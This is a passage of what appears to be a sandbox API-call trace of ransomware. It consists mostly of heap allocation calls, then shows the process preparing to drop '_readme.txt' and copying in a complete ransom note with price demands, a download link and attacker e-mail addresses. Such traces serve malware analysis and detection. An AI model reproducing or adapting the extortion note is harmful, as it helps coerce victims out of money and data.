(HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.589] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.589] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.589] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.589] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.589] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.590] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.590] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.591] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.591] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.592] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.592] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.594] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.596] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.596] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.596] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.596] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.596] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.596] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.596] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.596] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.596] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.596] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.596] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.596] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.596] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.596] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.596] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0111.596] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.596] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.596] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.596] PathFindFileNameW (pszPath="") returned="" [0111.596] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.597] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.597] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.597] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.597] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.597] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.597] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.597] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0111.597] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.597] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.597] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0111.597] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.597] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 